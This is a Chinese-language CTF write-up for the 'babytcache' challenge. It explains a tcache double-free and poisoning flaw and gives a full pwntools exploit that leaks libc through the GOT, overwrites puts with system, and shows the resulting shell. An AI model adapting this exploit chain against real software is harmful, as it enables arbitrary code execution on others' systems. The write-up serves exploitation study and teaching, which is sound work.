babytcache 简单的tcache利用

TOC

  1. 1. 简介
  2. 2. 功能介绍
    1. 2.1. 增加笔记
    2. 2.2. 删除笔记
    3. 2.3. 显示笔记
  3. 3. 漏洞
  4. 4. 思路
    1. 4.1. 任意地址写
    2. 4.2. 泄露基地址
    3. 4.3. 修改got表
    4. 4.4. exploit脚本
    5. 4.5. 最终效果

原程序下载地址:babytcache,IDA分析文件下载地址:babytcache.i64。由于tcache是glibc-2.26以及之后的版本才有的,所以环境的版本至少是2.26或2.26以上,以下的测试结果全在glibc-2.27的环境。

简介

该pwn题主要依赖于对tcache的检查不严密导致的溢出漏洞,因为检查不严,所以我们可以对同一个 chunk 多次 free,造成 cycliced list。

功能介绍

int print_menu()
{
setbuf(stdout, 0LL);
signal(14, handler);
alarm(0x3Cu);
puts("NoteBook v0.1");
puts("1.add a note");
puts("2.delete a note");
puts("3.show a note");
return puts("4.exit");
}

主要是三个功能:增加笔记,删除笔记,显示笔记。

增加笔记

int add_note()
{
int v1; // ebx

if ( global_amount > 9 )
return puts("Full!");
printf("content:");
v1 = global_amount;
ptr[v1] = (char *)malloc(80uLL);
input((__int64)ptr[global_amount], 80u);
++global_amount;
return puts("Done.");
}

删除笔记

void delete_note()
{
int v0; // [rsp+Ch] [rbp-4h]

printf("index:");
v0 = get_number();
if ( v0 < global_amount )
free(ptr[v0]);
else
puts("out of range!");
}

显示笔记

int show_note()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]

printf("index:");
v1 = get_number();
if ( v1 < global_amount )
result = puts(ptr[v1]);
else
result = puts("out of range!");
return result;
}

程序有一个ptr全局指针,用来存放note的。

漏洞

正如上面的代码所示,我们可以对一个chunk多次free,造成 cycliced list。虽然可以使chunk成链,但是该怎么利用——我们可以进行多次malloc操作,也就是增加笔记的操作,在增加笔记的同时,程序允许我们对chunk进行输入字符,这样我们可以通过覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。

下面我用一段代码来演示一遍这个漏洞:

#include <stdio.h>
#include <stdlib.h>

int g = 1234;

int main()
{
int *a = malloc(8);
printf("g: 0x%016X\n", &g);
printf("a: 0x%016X\n", a);
free(a);
free(a);

printf("malloc(8): 0x%016X\n", malloc(8));
*(void **)a = &g;
printf("malloc(8): 0x%016X\n", malloc(8));
printf("malloc(8): 0x%016X\n", malloc(8));
return 0;
}

运行结果:

g: 0x000000001680C010
a: 0x0000000017054260
malloc(8): 0x0000000017054260
malloc(8): 0x0000000017054260
malloc(8): 0x000000001680C010

从上面的结果可以看到,在第三次malloc的时候,malloc到&g的地址,也就可以控制全局变量g了。

思路

任意地址写

def write_in(addr,content):
# free三次
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')
sh.recvuntil('>')

# 申请三次
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(addr) # 第一次
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('/bin/sh') # 第二次
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(content) # 第三次
sh.recvuntil('>')

如上所示,先申请三次,在释放三次,注意这里是申请三次,不然的话tcache->counts[tc_idx]的值会变成-1,而导致tcache无法再次使用了,第一次申请的时候将要修改的地址传入,第二次申请的时候tcache->entries[tc_idx]会变成第一次传入的地址,这时我们在传入”/bin/sh”(为了方便以后使用),第三次申请的就是第一次传入的地址,而且还可以对地址内存进行修改。

分为两步:泄露基地址,修改got表

泄露基地址

先控制ptr指针,将ptr指针修改为 __libc_start_main.got 的地址,然后使用程序的显示笔记函数即可泄露基地址。

# 将ptr的第2个地址修改为__libc_start_main的got地址
write_in(p64(ptr_addr_offset_8), p64(elf.got['__libc_start_main']))

# 打印地址
sh.sendline('3')
sh.recvuntil(':')
sh.sendline('1') # 第1个索引
temp = sh.recvuntil('\n')[:-1]
temp = temp + b'\x00' * (8 - len(temp))
__libc_start_main_addr = u64(temp)
log.success('__libc_start_main_addr: ' + hex(__libc_start_main_addr))
libc_addr = __libc_start_main_addr - libc.symbols['__libc_start_main']
log.success('libc_addr: ' + hex(libc_addr))
system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
sh.recvuntil('>')

修改got表

直接用该程序的任意写漏洞即可,将puts的got地址修改为system函数的地址,然后在调用显示笔记这个函数,由于我们前面就把参数”/bin/sh”写入到note中了,所以最后就相当于puts(“/bin/sh”)变成了system(“/bin/sh”)了。

# 将puts的got地址修改为system函数的地址
write_in(p64(elf.got['puts']), p64(system_addr))

# get shell
sh.sendline('3')
sh.sendline('0')

exploit脚本

#! /usr/bin/python2
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

file_path = './babytcache'
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

libc = ELF(libc_path)
elf = ELF(file_path)

ptr_addr_offset_8 = 0x6020E0 + 8

sh = process(file_path)
# gdb.attach(sh,'set $g = (char **)0x6020E0\nc')
sh.recvuntil('>')

log.info('__libc_start_main.got: ' + hex(elf.got['__libc_start_main']))


def write_in(addr, content):
# free三次
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')
sh.recvuntil('>')

# 申请三次
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(addr)
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('/bin/sh')
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(content)
sh.recvuntil('>')


# 申请一次
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('nothing')
sh.recvuntil('>')

# 将ptr的第2个地址修改为__libc_start_main的got地址
write_in(p64(ptr_addr_offset_8), p64(elf.got['__libc_start_main']))

# 打印地址
sh.sendline('3')
sh.recvuntil(':')
sh.sendline('1') # 第1个索引
temp = sh.recvuntil('\n')[:-1]
temp = temp + b'\x00' * (8 - len(temp))
__libc_start_main_addr = u64(temp)
log.success('__libc_start_main_addr: ' + hex(__libc_start_main_addr))
libc_addr = __libc_start_main_addr - libc.symbols['__libc_start_main']
log.success('libc_addr: ' + hex(libc_addr))
system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
sh.recvuntil('>')

# 将puts的got地址修改为system函数的地址
write_in(p64(elf.got['puts']), p64(system_addr))

# get shell
sh.sendline('3')
sh.sendline('0')

sh.interactive()

最终效果

ex@Ex:~/test$ ./main.py 
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/test/babytcache'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
[+] Starting local process './babytcache': Done
[*] __libc_start_main.got: 0x602058
[+] __libc_start_main_addr: 0x7f361f279ab0
[+] libc_addr: 0x7f361f258000
[+] system_addr: 0x7f361f2a7440
[*] Switching to interactive mode
index:$ echo hello world
hello world
$

总结

该程序需要用到tcache poisoning和tcache dup来组合漏洞,通过这个题目可以更深刻的了解tcahce。